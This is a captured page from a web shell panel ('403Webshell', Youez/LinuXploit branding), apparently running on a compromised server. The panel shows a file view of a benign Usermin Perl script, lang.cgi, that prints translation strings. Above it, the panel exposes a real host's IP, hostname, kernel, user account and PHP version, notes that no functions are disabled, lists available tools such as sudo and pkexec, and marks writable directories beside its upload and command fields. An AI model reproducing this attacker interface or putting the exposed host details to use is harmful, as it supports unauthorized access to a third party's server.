403Webshell
Server IP : 189.126.111.107  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux www.gadotticar.com.br 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64
User : gadotticar ( 1000)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/file/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/usermin/file/lang.cgi
#!/usr/bin/perl
# lang.cgi
# Return language translation values

require './file-lib.pl';

&print_content_type();

if (&get_charset() eq $default_charset) {
	# Convert any HTML entities to their 'real' single-byte forms,
	# as we are using the iso-8859-1 character set.
	foreach $k (keys %text) {
		print $k,"=",&entities_to_ascii($text{$k}),"\n";
		}
	}
elsif (&get_charset() eq 'UTF-8') {
	# Convert any HTML entities to UTF-8 to match the output charset
	eval "use Encode";
	foreach $k (keys %text) {
		$str = $text{$k};
		if ($str =~ /&#(\d+);|&([a-z]+);/) {
			$str = Encode::encode('utf-8',
				&entities_to_ascii($str));
			}
                print $k,"=",$str,"\n";
                }
	}
else {
	# Don't do HTML entity conversion for other character sets
	foreach $k (keys %text) {
		print $k,"=",$text{$k},"\n";
		}
	}

Youez - 2016 - github.com/yon3zu
LinuXploit